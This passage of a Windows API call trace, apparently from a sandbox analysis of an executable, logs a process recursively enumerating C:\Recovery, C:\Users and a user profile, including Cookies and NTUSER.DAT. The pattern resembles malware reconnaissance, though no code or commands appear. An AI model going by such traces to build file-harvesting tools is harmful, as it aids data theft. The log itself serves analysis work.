lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winre.wim", cAlternateFileName="")) returned 0 [0090.500] GetLastError () returned 0x12 [0090.500] FindFirstFileExW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e91c0 [0090.501] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0090.501] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.501] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x27c2fae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4185decd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x306000, dwReserved0=0x0, dwReserved1=0x0, cFileName="boot.sdi", cAlternateFileName="")) returned 1 [0090.501] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winre.wim", cAlternateFileName="")) returned 1 [0090.501] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winre.wim", cAlternateFileName="")) returned 0 [0090.501] GetLastError () returned 0x12 [0090.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0090.501] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0090.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0090.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.502] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", cAlternateFileName="")) returned 0 [0090.502] GetLastError () returned 0x12 [0090.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f720) returned 1 [0090.502] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0090.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0090.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0090.503] FindNextFileW (in: hFindFile=0x2e8fc0, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="System Volume Information", cAlternateFileName="")) returned 1 [0090.503] FindNextFileW (in: hFindFile=0x2e8fc0, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Users", cAlternateFileName="")) returned 1 [0090.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0090.504] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x119f930 | out: lpFileInformation=0x119f930*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0090.504] CreateFileW (lpFileName="C:\\Users" (normalized: "c:\\users"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0090.504] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f974, lpLastWriteTime=0x119f974) returned 0 [0090.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.504] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f9cc, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f9cc, lpOverlapped=0x0) returned 0 [0090.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.505] NtClose (Handle=0x16c) returned 0x0 [0090.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0090.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0090.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0090.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f720 [0090.506] FindFirstFileExW (in: lpFileName="C:\\Users\\*", fInfoLevelId=0x1, lpFindFileData=0x119f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f77c) returned 0x2e9100 [0090.506] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.506] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="")) returned 1 [0090.506] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="")) returned 1 [0090.506] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0090.506] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="")) returned 1 [0090.506] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4b78 [0090.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0090.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.509] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0090.509] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0090.509] GetLastError () returned 0x12 [0090.509] FindFirstFileExW (in: lpFileName="C:\\Users\\*", fInfoLevelId=0x1, lpFindFileData=0x119f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f77c) returned 0x2e91c0 [0090.509] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0090.509] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.509] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="")) returned 1 [0090.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.509] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0090.509] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0090.509] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0090.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.510] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0090.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.510] NtClose (Handle=0x16c) returned 0x0 [0090.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0090.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0090.511] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9100 [0090.511] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.511] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0090.511] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="")) returned 1 [0090.511] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0090.511] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0090.511] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x614f24d0, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x614f24d0, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0090.511] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f36d890, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f36d890, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="")) returned 1 [0090.512] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="")) returned 1 [0090.512] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="")) returned 1 [0090.512] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0090.512] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="")) returned 1 [0090.512] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f667410, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f667410, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0090.512] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="")) returned 1 [0090.512] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0090.512] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c30f920, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2c30f920, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0090.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0090.512] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0090.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0090.513] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0090.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0090.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4b98 [0090.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.513] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0090.513] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c16ca00, 